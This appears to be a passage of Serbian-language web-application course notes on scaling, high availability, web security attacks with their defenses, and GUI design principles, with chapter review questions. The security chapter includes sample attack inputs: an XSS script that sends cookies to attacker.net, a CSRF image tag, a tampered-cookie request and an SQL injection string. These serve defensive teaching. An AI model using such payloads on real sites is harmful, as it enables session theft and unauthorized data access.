Kesiranje cini da skaliranje bude manje potrebno ili bar jednostavnije. Kes semoze postavljati na vise mesta: kes dinamickih sadrzaja, kes rezultata baze po-dataka, itd. Kes dinamickih sadrzaja moze da implementira sam Veb server, dokkes baze podataka moze da sluzi samo za citanje ili i za pisanje: kes za citanje,kes za pisanje sa propustanjem (nema mnogo smisla u slucaju baza podataka, nedoprinosi performansama) i kes za pisanje sa prepisivanjem (koristi asinhrono pi-sanje i omogucava brzi odziv, ali nije moguc u slucaju slozenijih transakcija osimako se svede na primenu redova. Kes baze podataka moze da se implementira uobliku proksi-servisa koji se koristi kao posrednik u radu sa bazom ili kao sastavnideo SUBP-a.

11.6 Skaliranje statickih sadrzaja

Skaliranje statickih sadrzaja podrazumeva:

• Repliciranje Veb servera - svi serveri isporucuju iste sadrzaje, balansira seopterecenje.

• Fragmentacija Veb servera - razliciti serveri isporucuju razlicite sadrzaje,reverzni proksi na osnovu URI-ja bira server.

• Kombinacija replika i fragmentacije

• Proksi sa mnogo memorije za kes - mali broj popularnih sadrzaja cine vecinuopterecenja.

11.6.1 Isporucivanje statickih sadrzaja

Veb server u odnosu na staticke sadrzaje ima ulogu reverznog proksija: kesiradatoteke u memoriji, moze da predstavlja repliku sistema datoteka, moze da seumnozi i balansira. Ako se serveri datoteka odvoje od Veb servera onda Veb ser-ver moze da bira servere sa datotekama, a kes moze da bude i na disku. Znacajanpad performansi pri menjanju repliciranog sadrzaja zbog uskladivanja sadrzaja,mora da se oznacava kao neispravan kes na svim replikama.

Jedan efikasan pristup menjanju sadrzaja:

• svaka promena je dodavanje nove instance sadrzaja

• staticki sadrzaji se tako nikada ne menjaju

• promena sadrzaja menja i njegov URI

• nije potrebno eksplicitno praznjenje kesa

11.7. SKALIRANJE SISTEMA DATOTEKA 107

• kes se vremenom imlicitno prazni

Ako je potrebno proveravati autorizaciju neke verzije proksija mogu da proveravajuautorizaciju na osnovu kolacica ili na osnovu tokena.

11.7 Skaliranje sistema datoteka

U slucaju velikog obima sadrzaja nije prakticno vezivati sistem datoteka za Vebserver. Najpre se razdvajaju sistemi datoteka od Veb servera Prakticna fragmen-tacija po funkciji. Dodatno, svaki Veb server moze da sluzi kao memorijski ili diskkes. Vertikalno skaliranje podrazumeva dodavanje diskova i povecavanje diskova,a horizontalno skaliranje dodavanje servera, replikaciju i fragmentaciju.

Povezivanje Veb servera i sistema datotekaPovezivanje se moze vrsiti pomocu mreznog sistema datoteka (NFS, SMB) iliHTTP (npr. Apache). Sustina je u deljenju obrade zahteva na vise koraka: analizaURI-ja i prepoznavanje fragmenta (servera), kesiranje, citanje datoteke. Svaki odkoraka moze da se obavlja na posebnom serveru, a moze i da se replicira i balansira.

Visoka raspolozivostVisoka raspolozivost sistema (engl. High Availability HA) je karakteristika sistemada moze da odrzi unapred odreden nivo performansi i funkcionalnosti u slucajuvanrednih okolnosti. Za razlicite vanredne okolnosti se planira odgovarajuce rea-govanje. Uobicajeno se planira ponasanje u okolnostima otkaza diska, procesora,racunara, mreznog uredaja (ruter i sl.), otkaza drugog vaznog uredaja, prekida usnabdevanju el. energijom, elementarnih nepogoda (pozar, poplava, zemljotres,...)i drugo.Nacin obezbedivanja visoke raspolozivosti ima veze sa skaliranjem. Odrzavanjefunkcionalnosti i performansi u slucaju otkaza uobicajeno se ostvaruje replicira-njem odgovarajucih komponenti. Replikacija je jedan od osnovnih nacina hori-zontalnog skaliranja. Primena replikacije skoro automatski obezbeduje i povisenuraspolozivost

Visoka raspolozivost podatakaNe moze da pociva na replikaciji master-slave”. Ako otkaze glavni server, dalje me-njanje podataka nije moguce. Sledeci nivo je replikacija master-master”. Postojedve varijante: hot-hot”, u kojoj oba sistema mogu da se koriste ravnopravnomsva pisanja se repliciraju na drugi server, ihot-warm” u kojoj samo jedan sistemsme da se koristi za pisanje a drugi sluzi samo za citanje, u slucaju otkaza jednogservera, drugi preuzima sve obaveze na sebe. Posotje i druge slozenije arhitekture.

Visoku raspolozivost sistema datoteka omogucava umnozavanje diskova (RAID),umnozavanje servera i sistemi za skladistenje podataka (Storage System).


11.8 Pitanja

11.1 Sta je skalabilnost sistema?

11.2 Sta opisuje nivo skalabilnosti sistema? Objasniti.

11.3 Kako se meri skalabilnost sistema? Koje velicine se koriste i koji su odnosimedu njima?

11.4 Navesti i objasniti kategorije skalabilnosti.

11.5 Objasniti Amdalov model ubrzavanja paralelizovanjem (tzv. Amdalov za-kon).

11.6 Objasniti super-serijski model ubrzavanja paralelizovanjem.

11.7 Objasniti Gustavsonov model ubrzavanja paralelizovanjem.

11.8 Objasniti sta je i kada se koristi vertikalno skaliranje.

11.9 Objasniti sta je i kada se koristi horizontalno skaliranje.

11.10 Koji nacini skaliranja se primenjuju radi podizanja performansi Veb aplika-cija?

11.11 Objasniti problem sesija pri skaliranju i nacine njegovog resavanja.

11.12 Sta je rasporedivac opterecenja (balanser)? Sta radi? Kako se implementira?

11.13 Opisati model ubrzavanja paralelizovanjem u slucaju relacionih baza poda-taka.

11.14 Sta je visoka raspolozivost?

11.15 Kakav je odnos visoke raspolozivosti i skalabilnosti?

Glava 12

Bezbednost veb aplikacija

Bezbednost je stepen oslobodenosti od opasnosti”

Bezbednost informacija je stepen u kome je onemoguceno ugrozavanje informa-cija....zastita informacija i IS od neautorizovanog pristupa, upotrebe, objavljivanja, me-njanja, unistavanja, kao i od sprecavanja raspolozivosti.”

12.1 Osnovni predmeti ugrozavanja

• Poverljivost informacija (Confidentiality) - Koncept slican privatnosti (ali nei isti). Predstavlja neophodan sastavni deo privatnosti, sposobnost da sesopstveni podaci zastite od neovlascenog pristupa.

• Integritet informacija (Integrity) - Sposobnost da se spreci neovlasceno ilinepozeljno menjanje podataka.

• Raspolozivost informacija (Availability) - Sposobnost da se pristupa poda-cima kada su potrebni.

Nazivaju se Bezbednosna trojka” - CIA, cesto namerno okrenuto, kao CAI. Cestoje obrnuta notacija, iz ugla postupaka: DAD

• odavanje (disclosure)

• menjanje (alteration)

• ometanje (denial)

12.1.1 Drugi predmeti ugrozavanja

• Posedovanje ili upravljanje - sposobnost punog upravljanja podacima obu-hvata posedovanje fizickih nosilaca informacija

109

110 GLAVA 12. BEZBEDNOST VEB APLIKACIJA

• Autenticnost - sposobnost da se utvrdi originalnost informacija obicno razlicitividovi el. potpisa

• Upotreba - stepen upotrebljivosti podatka (zavisi od oblika, kolicine i sl.),jedina ne-binarna ugrozenost

Osnovne vrste napada

• Upad (Interception)

• Onesposobljavanje (Interruption)

• Menjanje informacija (Modification)

• Pravljenje informacija (Fabrication)

12.2 Ciljevi bezbednosnih mera

Sve mere koje se sprovode imaju za cilj obezbedivanje potencijalnih predmetaugrozavanja. U zavisnosti od specificnosti aplikacije, razlikuju se instance pred-meta ugrozavanja, pa time i metodi zastite

Opsti principiPostoje brojna pravila za uopsteno pristupanje problemu bezbednosti:

• prepoznati i razumeti pretnje

• od pocetka projekta raditi nabezbednosnim mehanizmima

• sakriti sve sto korisniku nijeneophodno

• razdvojiti privilegije i spustiti nivoprivilegija

• stititi svaki sloj, kao da ostali nisuzasticeni

• stititi redundantno, na razlicitenacine

• prepoznati najslabije karike

• projektovati i programiratirobusno

• primenjivati jednostavna resenja

Specificnosti Veba kao aplikativne platforme imaju za posledicu i specificne be-zbednosne okolnosti:

• globalna dostupnost aplikacija - napad moze doci iz bilo kog dela sveta

• siroka namena - razlicitim delovima aplikacije su potencijalno dostupni sirokiskupovi podataka

• viseslojnost arhitekture - svaki od slojeva je potencijalna meta napada

12.3. VRSTE NAPADA 111

• standardni protokoli - slicne tehnike se koriste za razlicite aplikacije

• nemonolitnost arhitekture - veliki broj stranica, svaka je potencijalna meta;

• sesije - ako se ugrozi bezbednost sesije, ugrozena je i aplikacija

• identitet korisnika - virtualan, lako otudiv i promenljiv

12.3 Vrste napada

• Prekoracenje bafera

• Umetanje skriptova

• Prevara unakrsnim zahtevima

• Nasilno pregledanje

• Podmetanje parametara

• Trovanje kolacica

• Zloupotreba skrivenih polja

• Umetanje SQL upita

• Onemogucavanje usluge

12.3.1 Prekoracenje bafera (Buffer overflow)

TehnikaPostize se namernim podmetanjem vrednosti parametara preterane duzine. Uopstem slucaju cilj je dolazenje do osetljivih informacija, a u specificnom slucaju,cilj moze biti i podmetanje koda.

PoslediceDuzi parametar moze da izazove prepisivanje njegove vrednosti preko oblasti umemoriji koje sluze za druge stvari (lokalne promenljive, stek, kod). Takode, mozeda izazove neplanirano menjanje drugih podataka ili koda, a moze da dovede i dopada procesa. Ako OS ili Veb server uoci problem (tj. posledice problema), mozeda izda poruku koja moze da sadrzi neke poverljive informacije.

PreduslovU kodu postoji pogresna pretpostavka da neki parametar nikada nece preci nekuduzinu. Problem nastaje u kodu na C-u, ukljucujuci pregledace, razne bibliotekei OS.

SprecavanjeU serverskom kodu se MORA racunati sa time da parametri nemaju unapredpoznatu duzinu.


12.3.2 Umetanje skriptova (Cross-Site Scripting)

TehnikaPodmetanje skriptova kao vrednosti parametara cilj je da se podmetnuti skriptizvrsi u kontekstu ucitane stranice i odgovarajuce sesije.

Primer

<script language="javascript">

document.write(’<img src=http://attacker.net/aPage?url=’ +

document.location + ’\&cookie=’ +

document.cookie + ’>’);

</script>

Otvaranjem slike” salju se osetljive informacije.

PoslediceSkript moze da posalje podatke iz sesije na proizvoljnu adresu skript moze da zlo-upotrebi sesiju i iz nje napravi osetljive pozive prema nekom od servisa. Umestoskripta se moze postaviti i IFRAME, sa slicnim posledicama.

PreduslovU telo stranice se bez provere ugraduje vrednost nekog podatka koji upisuje nekikorisnik.

SprecavanjeParametarima se mora oprezno rukovati. Podaci mogu da se provere i obrade pricitanju: Proveriti da li upisani podaci sadrze skriptove ili tagove, svi tagovi moguda se obrisu ili enkoduju.

12.3.3 Prevara unakrsnim zahtevima (Cross-Site RequestForgery),

TehnikaZlonamerna (ili osvojena) lokacija ugraduje u svoj HTML kod unakrsne referencena zasticenu lokaciju.

Primer

<img src="http://bank.example.com/withdraw?account

=Alice\&amount=1000000\&for=Eve">

Napomena: Ovo nije moguce posredstvom IFRAME ili AJAX-a, zato sto pre-gledaci sprecavaju takve unakrsne zahteve.


PreduslovKorisnik ima aktivnu sesiju na napadnutoj lokaciji. Napadnuta lokacija ne prove-rava poreklo reference.

PosledicePristupanje poverljivim informacijama, izvrsavanje operacija u ime korisnika.

SprecavanjeNa strani servera ugraditi proveru da li zahtev dolazi sa iste lokacije ili ne. Upo-treba tokena - podatak specifican za sesiju koji se na svakoj stranici ugraduje usve URI-je i svaki put poredi sa sesijom.

12.3.4 Nasilno pregledanje (Forcefull Browsing)

TehnikaKorisnik eksplicitno upisuje u pregledac URI zeljene stranice. Cilj je da se pristupipodacima ili da se izvrse postupci za koje korisnik nema privilegije.

PoslediceKorisnik moze da vidi poverljive podatke koji mu ne bi smeli biti dostupni. Takode,korisnik moze da izvrsi operacije za koje nije ovlascen.

PreduslovNa nekoj stranici ne postoji provera autorizacije,provera ispunjenosti neophodnihpreduslova za isporucivanje podataka ili izvrsavanje operacije.

SprecavanjeDosledno proveravanje autorizacije na svakoj stranici i pri svakoj operaciji. Vodenjednevnika upotrebe aplikacije (ne moze da spreci, ali moze da olaksa uocavanje ova-kvih napada).

12.3.5 Podmetanje parametara (Parameter Tampering)

TehnikaEksplicitno menjanje parametara URIja. Cilj je neovlasceno pristupanje podacimaili neovlasceno izvrsavanje operacija, slicno kao kod nasilnog pregledanja, ali sadakorisnik koji ima pravo da pristupi jednom resursu pokusava da pristupi nekomdrugom slicnom.

PosledicaKorisnik ima pristup elementima aplikacije za koje nije autorizovan.

PreduslovServerski deo aplikacije podrazumeva da klijentski deo salje ispravne zahteve.


Sprecavanje Dosledno i strogo proveravati ispravnost parametara u kontekstuprijavljenog korisnika.

12.3.6 Trovanje kolacica (Cookie Poisoning)

TehnikaNa strani klijenta se namerno menja sadrzaj kolacica. Cilj je ostvarivanje lazneautentifikacije ili prikrivanje stvarnog identiteta. U osnovi je ovo podvrsta pod-metanja parametara.

Primer

GET /store/buy.asp?checkout=yes HTTP/1.0 Host:

www.onlineshop.com Accept: */* Referrer:

http://www.onlineshop.com/showprods.asp Cookie:

SESSIONID=570321ASDD23SA2321; BasketSize=3;

Item1=2892; Item2=3210; Item3=9942;

TotalPrice=16044;

PredusloviU kolacicu se cuvaju osetljive informacije, a kolacic nije kodiran niti je obezbedenod menjanja.

SprecavanjeNe cuvati u kolacicu nista osim ID-a sesije, sifrovati kolacic na nivou aplikacije,Veb servera ili zastitnog zida i nekom redundantnom metodom spreciti menjanje.

12.3.7 Zloupotreba skrivenih polja (Hidden FieldManipulation)

Podvrsta podmetanja parametara. Umesto menjanja parametara koji su deo URI-ja, menjaju se vrednosti skrivenih polja formulara. Sprecava se na isti nacin -prema skrivenim poljima formulara se ne smemo odnositi kao prema pouzdanimparametrima sesije, vec kao prema parametrima koje salje korisnik, a koji imajuneku podrazumevanu vrednost.

12.3.8 Umetanje SQL upita (SQL Injection)

TehnikaSlicno umetanju skriptova. Umesto da se tezi izvrsavanju skripta na stranici, ciljje da se parametar umetne u SQL upit.


PoslediceOtkrivanje osetljivih informacija o bazi podataka (struktura, sadrzaj).

PrimerNeka se u formular unosi ime korisnika. Upit trazi podatke o korisniku:

"SELECT *

FROM users

WHERE username = ’"

+ param + "’

AND [...] "

i neko unese

’ OR 1=1 --

Sta ce se dogoditi?

PreduslovUpiti u serverskom kodu se prave spajanjem niski, ukljucujuci i vrednosti parame-tara.

SprecavanjeNikako ne ukljucivati parametre u telo upita jednostavnim spajanjem niski. Kori-stiti parametrizovane upite ili bar najpre enkodovati parametre.

12.3.9 Onemogucavanje usluge (Denial of Service)

TehnikaServeri se zatrpavaju masovnim prilivom zahteva. U opstem slucaju su u pita-nju proizvoljni mrezni zahtevi, a ne samo HTTP. U jednostavnijim slucajevima senapada sa jedne adrese, a u slozenijim sa velikog broja adresa istovremeno. Po-sebno ozbiljno ako se napad izvodi sa prethodno masovno rasirenih trojanaca. Ciljje onemogucavanje rada servera. U posebno sofisticiranim akcijama, ovaj napadmoze biti priprema za druge vrste napada dovodenje sistema na granice funkcio-nisanja, usporavanje ili onemogucavanje drugih odbrambenih mehanizama.

SprecavanjePrepoznavanje i sprecavanje ovakvih napada na nivou mreze (ruter, zastitni zid,...).Automatsko blokiranje zahteva sa adresa koje predstavljaju izvor napada. Kadanapad pocne, veoma tesko se zaustavlja bez privremenog iskljucivanja servera izmreze.


12.3.10 Nabrajanje

TehnikaNagadanjem se pokusava pronalazenje ispravnih korisnickih imena, lozinki, iden-tifikatora sesija, itd. Ima slicnosti sa podmetanja parametara, onemogucavanjemusluge i trovanjem kolacica, ali uz legalnu” upotrebu formulara.

SprecavanjeKao u slucaju vec opisanih slicnih tehnika.

12.3.11 Specificnosti u slucaju AJAX-a

Vecina opisanih problema se odnose i na upotrebu AJAX-a. Ako korisnik kojije ucitao stranicu moze da izvrsi proizvoljan skript, onda se AJAX zahtevi kojeupucuje ne razlikuju od nasilnog pregledanja, samo sto se ne pregleda aplikacija,nego servis. Znaci, staranje o bezbednosti pojedinacnih servisa je isto kao u slucajuaplikacija, na primer REST.

12.4 10 opstih bezbednosnih pravila

1. Ako vas neko ubedi da na svom racunaru izvrsite njegov program, to visenije vas racunar

2. Ako neko moze da menja OS na vasem racunaru, to vise nije vas racunar

3. Ako neko ima neogranicen fizicki pristup vasem racunaru, to vise nije vasracunar

4. Ako neko sme da postavlja programe na vasu veb lokaciju, to vise nije vasaveb lokacija

5. Slabe lozinke pobeduju jaku bezbednost

6. Racunar je bezbedan samo onoliko koliko je njegov vlasnik (korisnik) pou-zdan

7. Kriptovani podaci su samo onoliko bezbedni koliko i kljuc za dekriptovanje

8. Neazurna antivirusna zastita je samo malo bolja nego nepostojeca

9. Potpuna anonimnost nije prakticna ni u zivotu ni na vebu

10. Tehnologija nije lek za sve probleme

Sta se desava ako zlonamerni korisnik ima alat koji mu omogucava da menjaucitanu stranicu pre pokretanja skriptova (Firefox + Firebug, Chrome + ChromeDeveloper Tools, prilagodeni pregledac)? Sta moze da uradi? Kako mozemo da ga

12.4. 10 OPSTIH BEZBEDNOSNIH PRAVILA 117

sprecimo?

Da, takav korisnik moze da pokusa da izvrsi svaki skript i otvori svaki URI. Ne,to ne moze da se spreci. Sta onda da radimo?

Ne moze da se spreci da otvori svaki URI koji pozeli tj. ne mozemo korisnikaspreciti da neposredno ili nasilno pokusa da uradi sve ono sto nas URI interfejsomogucava”. Moze da se spreci da se pri tome isporuce poverljive informacije ili ne-ovlasceno izvrse operacije tj. mozemo korisnika spreciti da neposredno ili nasilnouradi sve ono sto nas URI interfejs omogucava”. To radimo strogom autentifi-kacijom, suzavanjem interfejsa, strogom proverom privilegija i strogom proveromispunjenosti preduslova.

PrimerAko korisnik #23 zeli da iz narudzbenice #42 obrise stavku #17, onda serverskikod MORA da proveri:

• Da li je korisnik autorizovan kao #23?

• Da li je narudzbenica #42 zaista njegova?

• Da li je stavka #17 zaista u narudzbenici #42?

• Da li je narudzbenica jos otvorena za menjanje?

• Da li korisnik ima autorizaciju za brisanje stavke?

• itd.

12.4.1 Osnovna pravila

1. Suziti URI-interfejs. URI-interfejs ne sme da omoguci nista vise od onogasto omogucava korisnicki interfejs. Korisnicki interfejs je samo sredstvo zakoriscenje aplikacije i servisa. Bezbednost se ne implementira (samo) u in-terfejsu, vec prevashodno u serverskom kodu. Ako se neposredno kroz URIne moze uraditi nista vise nego kroz interfejs, mnoge vrste napada su obe-smisljene.

2. Svi elementi (sve stranice, sve operacije, sve usluge, REST, Veb servisi) nastrani servera moraju da proveravaju autorizaciju korisnika. Moraju daproveravaju da li konkretan korisnik sme da uradi konkretnu stvar.

3. Svi elementi na strani servera moraju da proveravaju ispunjenost predu-slova - za isporucivanje podataka i za izvrsavanje operacije.

4. Strogo voditi racuna o autentifikaciji - Ako se primenjuju prethodna pravila,prostor za upad je suzen na upad u tudu sesiju. Proveravati da li zahtevdolazi iz ispravnog konteksta upotrebe i koristiti tokene.


12.5 Prevare na strani korisnika

Vecina napada se odvija na strani servera, ali postoje i napadi na klijentskoj strani(pracenje komunikacije, snimanje tastature, sprecavanje bezbednosnih mehani-zama). Tehnike su: Podmetanje izmenjenog pregledaca i Podmetanje izmenjenogoperativnog sistema (u osnovi slicno prethodnom).

12.5.1 Podmetanje laznog pregledaca

TehnikaPregledac se izmeni tako da omoguci nebezbedne tehnike, trajno cuvanje dekla-rativno, privremene sesije, unakrsno referisanje (AJAX i IFRAME na druge lo-kacije), snimanje sadrzaja formulara: lozinke, adrese, itd. Obicno se koristi najavnom mestu, a moguce i preko dodataka za pregledace. Zlonamerni korisnik napostojecem pregledacu ugradi dodatke i svako ko posle njega sedne za racunar jeugrozen, svako ko instalira takav dodatak je ugrozen.

PosledicePrakticno potpuna izlozenost korisnika skoro svim tehnikama krade identiteta.

PreduslovUpotreba nebezbednih pregledaca za osetljive poslove.

SprecavanjeBezbedno ponasanje korisnika. Upozoravati korisnike na neophodnost bezbednogponasanja.

12.6 Pitanja

12.1 Sta je bezbednost informacija?

12.2 Navesti i ukratko objasniti najvaznije predmete ugrozavanja bezbednosti in-formacija.

12.3 Sta je poverljivost informacija i kako se moze ugroziti?

12.4 Sta je integritet informacija i kako se moze ugroziti?

12.5 Sta je raspolozivost informacija i kako se moze ugroziti?

12.6 Navesti i ukratko objasniti najvaznije vrste napada na informacione sisteme.

12.7 Opisati ukratko vrstu napada upad”? Sta je predmet ugrozavanja?

12.8 Opisati ukratko vrstu napada onesposobljavanje”? Sta je predmet ugrozavanja?

12.6. PITANJA 119

12.9 Opisati ukratko vrstu napada menjanje informacija”? Sta je predmet ugrozavanja?

12.10 Opisati ukratko vrstu napada pravljenje informacija”? Sta je predmet ugrozavanja?

12.11 Objasniti specificnosti Veba i Veb aplikacija u odnosu na problem bezbedno-sti.

12.12 Navesti najvaznije vrste napada na Veb aplikacije (bar 7).

12.13 Objasniti tehniku napada prekoracenjem bafera. Nacin ostvarivanja napada?Posledice? Sprecavanje?

12.14 Objasniti tehniku napada umetanjem skriptova. Nacin ostvarivanja napada?Posledice? Sprecavanje?

12.15 Objasniti tehniku napada prevara unakrsnim zahtevima”. Nacin ostvarivanjanapada? Posledice? Sprecavanje?

12.16 Objasniti tehniku napada nasilnim pregledanjem. Nacin ostvarivanja na-pada? Posledice? Sprecavanje?

12.17 Objasniti tehniku napada podmetanjem parametara. Nacin ostvarivanja na-pada? Posledice? Sprecavanje?

12.18 Objasniti tehniku napada trovanje kolacica”. Nacin ostvarivanja napada?Posledice? Sprecavanje?

12.19 Objasniti tehniku napada zloupotrebom skrivenih polja. Nacin ostvarivanjanapada? Posledice? Sprecavanje?

12.20 Objasniti tehniku napada umetanje SQL upita”. Nacin ostvarivanja napada?Posledice? Sprecavanje?

12.21 Objasniti tehniku napada onemogucavanje usluge”. Nacin ostvarivanja na-pada? Posledice? Sprecavanje?

12.22 Objasniti tehniku napada nabrajanje”. Nacin ostvarivanja napada? Posle-dice? Sprecavanje?

12.23 Navesti i ukratko objasniti osnovna pravila za razvijanje bezbednih Veb apli-kacija.

12.24 Objasniti detaljno pravilo za razvijanje bezbednih Veb aplikacija suziti URIinterfej”.

12.25 Sta znaci kada kazemo da iz bezbednosnih razloga svi elementi na strani ser-vera moraju da proveravaju autorizaciju korisnika i ispunjenosti preduslova”?

Glava 13

Korisnicki interfejs

13.1 Vizualni kornisnicki interfejs

Savremeni korisnicki interfejsi su prevashodno vizualni jer tako laksa upotreba,lako se uce, otezane su napredne aktivnosti. Tekstualni komandni interfejsi suuglavnom prevazideni jer njihova upotreba zahteva vise paznje, teze se uce alipruza veoma napredne mogucnosti.

Generacije vizualnih interfejsa:

• Prva generacija odlikuje se grafickim operativnim sistema, pociva na tri kon-cepta: prozori, ikone, mis.

• Druga generacija (Veb) pociva na dva apstraktna koncepta prezentacija sadrzajai hiperprostor.

• Treca generacija podrazumeva sisteme upravljane dodirom, a pociva na dvakonkretna koncepta okviri i dodir.

Savremeni Veb interfejsiPredstavljaju fuziju svih generacija pocivaju na hiperprostoru - koriste sve nje-gove prednosti a pokusavaju da prikriju njegovu slozenu prirodu. Objedinjeni surazliciti koncepti prezentacije sadrzaja (prozori, okviri, ikone, neutralni u odnosuna sredstvo upravljanja, mis, dodir).

Sta cini dobar interfejs? Pre svega, razumevanje ljudi. Dakle, kako vidimo, ra-zumemo i razmisljamo, kako informacija mora biti predstavljena da podigne nivoprihvatanja i razumevanja, kako se oci i glava pomeraju tokom upotrebe. Ciljje minimizacija rizika od zamora i povredivanja. Takode je bitno i razumevanjetehnike, u smislu koja su ogranicenja hardvera i softvera.

121

122 GLAVA 13. KORISNICKI INTERFEJS

Smernice za proces oblikovanja

• Upoznati korisnike / klijente

• Razumeti osnovne poslovne funkcije

• Razumeti principe dobrog oblikovanja ekrana

• Razviti sistemski meni i sheme navigacije

• Izabrati odgovarajuce vrste prozora

• Izabrati odgovarajuce hardverske kontrole

• Izabrati dobre kontrole na ekranu

• Pisati jasne tekstove i poruke

• Obezbediti jasne i neposredne reakcije na ponasanje korisnika

• Obezbediti jasna uputstva i pomoc

• Uciniti dizajn upotrebljivim za razlicite nacionalne i socijalne grupe

• Uciniti dizajn upotrebljivim za osobe sa ogranicenjima

• Napraviti smislene i kontekstu odgovarajuce oznake, ikone i slike

• Izabrati odgovarajuce boje

• Organizovati i rasporediti prozore i strane

• Testirati, testirati i ponovo testirati

Korisnicki interfejs je najvazniji deo svakog racunarskog sistema”

Najbolji korisnicki interfejs je onaj koji se ne primecuje, koji omogu-cava korisniku da se skoncentrise na informacije i poslove, a ne namehanizme koji se koriste za predstavljanje informacija i obavljanjeposlova.” (Galitz, 2002.)

Koristi od dobrog dizajna su visestruke: visi je stepen uspesnosti obavljanja po-slova, efikasnije je obavljanje poslova, smanjenje troskova obuke i bolja je uslugakorisnika.

Korisnicki interfejs je kolekcija tehnika i mehanizama za interakcijusa necim. Graficki korisnicki interfejs je onaj korisnicki interfejskod koga je primarni mehanizam interakcije neki oblik pokazivackoguredaja.

13.1. VIZUALNI KORNISNICKI INTERFEJS 123

13.1.1 Prednosti vizualnog korisnickog interfejsa

• Brze se uci

• Brze se upotrebljava

• Brze se resavaju problemi

• Lakse se pamti

• Prirodniji je od tekstualnog

• Pruza kontekst za rad

• Manje se gresi

• Moze da zauzuma manje prostora

• Zamenjuje nacionalne jezike

• Privlacniji interfejs

• Lako ponistavanje akcija

• Neposredno reagovanje softvera

• Predvidljivost ponasanja sistema

• Simboli se prepoznaju brze nego tekst

• Primenjuje vizualno / prostorne aspekte

• Podstice kriticki nastrojeno razmisljanje

• Manja zabrinutost korisnika u vezi sa upotrebom

• Lako se dopunjuje tekstualnim prikazima

• Nizi zahtevi za unosenje teksta putem tastature

13.1.2 Slabosti

• Slozenije oblikovanje

• Ucenje je i dalje neophodno

• Nije uvek blizak korisnicima

• Zahteva upravljanje prozorima

• Neefikasni za brze daktilografe

• Hardverska ogranicenja

• Neefikasni za ekspertske korisnike

• Nisu uvek najbrzi nacin komunikacije

• Nedostatak eksperimentalno izvedenih uputstava za oblikovanje

• Nekonzistentnosti u tehnikama i terminologijama

• Ogranicenost na operacije u realnom vremenu

• Cesta su odredena proizvodna ogranicenja

• Skupovi svima poznatih i proverenih ikonica su relativno mali

• Nisu uvek najpozeljniji oblik komunikacije


• Povecana verovatnoca jurcanja” i konfuzije

• Faktor uzaludnog gubljenja vremena na nepotrebnim stvarima

• Moze da koristi suvise prostora na ekranu

13.1.3 Prinicpi oblikovanja G.K.I.

Graficki sistem se sastoji od objekata i akcija. Objekti su ono stokorisnik vidi na ekranu. Oni predstavljaju jedinice kojima se upravlja.Dobro oblikovan sistem zadrzava paznju korisnika na objektima, a nena nacinima obavljanja akcija.”

Perzistentnost je zadrzavanje nekog stanja nakon sto je dostignuto.Stanje objekata mora biti automatski ocuvano nakon sto ga korisnikpromeni.” (Galitz, 2002.)

Interfejs mora biti prosirenje osobe”. Sistem i softver moraju da odrazavaju spo-sobnosti osobe i da odgovaraju njenim specificnim potrebama. Trebalo bi da budekoristan, da obavlja neki poslovni cilj brze i efikasnije nego neki stariji metod ilialat. Mora biti lak i zabavan za upotrebu, da izaziva zadovoljstvo i ispunjenost, ane dosadu i frustriranost.

Opsti prinicipi

• Estetska dopadljivost

• Jasnoca

• Kompatibilnost

• Izrazajnost

• Konfigurabilnost

• Doslednost

• Kontrola

• Neposrednost

• Efikasnost

• Bliskost

• Prilagodljivost

• Mogucnost popravke gresaka

• Predvidljivost

• Mogucnost oporavka

• Odzivnost

• Jednostavnost

• Transparentnost

• Kompromisi

Ljudski zahtevi uvek imaju prednost u odnosu na tehnicke zahteve”(Galitz, 2002.)


Proces oblikovanjaPotrebno je potpuno razumevanje korisnika i njihovih poslova. Insistirati na aktiv-nom ukljucenju korisnika od samog pocetka oblikovanja. Primenjivati brze izradeprototipova i njihova testiranja, menjati dizajn kroz iteracije sve dok je potrebnoi integrisati dizajn svih komponenti sistema.

13.1.4 Uobicajeni problemi upotrebljivosti

• Dvosmislene stavke menija ili ikonice

• Ogranicenja koja namecu jednosmerno kretanje kroz sistem

• Ogranicenja pri unosenju zahteva ili upravljanju objektima

• Ogranicenja pri oznacavanju

• Vise koraka pri radu sa interfejsom nego u stvarnom obavljanju posla

• Nejasan redosled koraka

• Slozeni odnosi i povezivanja izmedu aplikacija

• Neodgovarajuci odziv sistema u slucaju uspeha ili neuspeha

• Nedostatak predvidljivosti sistema ili informacija o njegovom ponasanju

• Nepotpune poruke o greskama, uputstva, dokumentacija

Kako meriti upotrebljivost? Odgovori na sledeca pitanja mogu pomoci u tome:Koliko je interfejs delotvoran? Da li se potrebni poslovi uopste mogu obaviti?Koliko se lako uci? Koliko je fleksibilan? Kakav je stav korisnika?

Upoznati klijenta/korisnikaPotrebno je razumeti kako ljudi koriste racunare, ljudske karakteristike znacajneza oblikovanje interfejsa, prepoznati nivo korisnickog znanja i iskustva, karakte-ristike korisnickih potreba i poslova, psiholoske i fizicke karakteristike korisnika iprimeniti preporucene metode za postizanje razumevanja korisnika.

Dobar dizajn ekrana odrazava mogucnosti, potrebe i poslove korisnika razvijenje u okviru fizickih ogranicenja hardvera efikasno uposljava mogucnosti softver-skog okruzenja dostize poslovne ciljeve sistema za koji je oblikovan.

Ciljevi oblikovanja interfejsa su smanjenje vizuelnog posla, intelektualnog posla,kolicine pamcenja, motornih aktivnosti i minimizacija ili eliminacija svih oblikaopterecenja ili smetnji uslovljenih tehnologijom.

Provera dizajna: Da li svi elementi ekrana mogu da se raspoznaju drugacije negoda se citaju njihove oznake? Najbolji interfejsi cine da su svi elementi ocigledni


13.1.5 Elementi dobrog dizajna

Da bi dizajn bio dobar, pocetak treba da bude u levom gornjem uglu, to jeprirodna tacka pocetka. Potrebni su navigacija i tok informacija. Kompozicijatreba da bude vizualno dopadljiva kompozicija (voditi racuna o ravnotezi, sime-triji, pravilnosti, predvidljivosti, sekvencijalnosti, ekonomicnosti (nepretrpanost),objedinjenosti, proporcijama, jednostavnosti i grupisanju).

13.1.5.1 Meniji

Meniji predstavljaju osnovni oblik navigacije kroz sistem. Ako su dobro obli-kovani, pomazu korisniku pri sticanju slike sistema. Moraju da odrazavaju suprot-stavljene potrebe pocetnika i iskusnog korisnika. Pri organizovanju menija cilj jeda se jednostavno i delotvorno predstavi struktura sistema i smanji broj korakapotreban da se pronade stavka menija. Navigacija je najvazniji element upotre-bljivosti sistema.

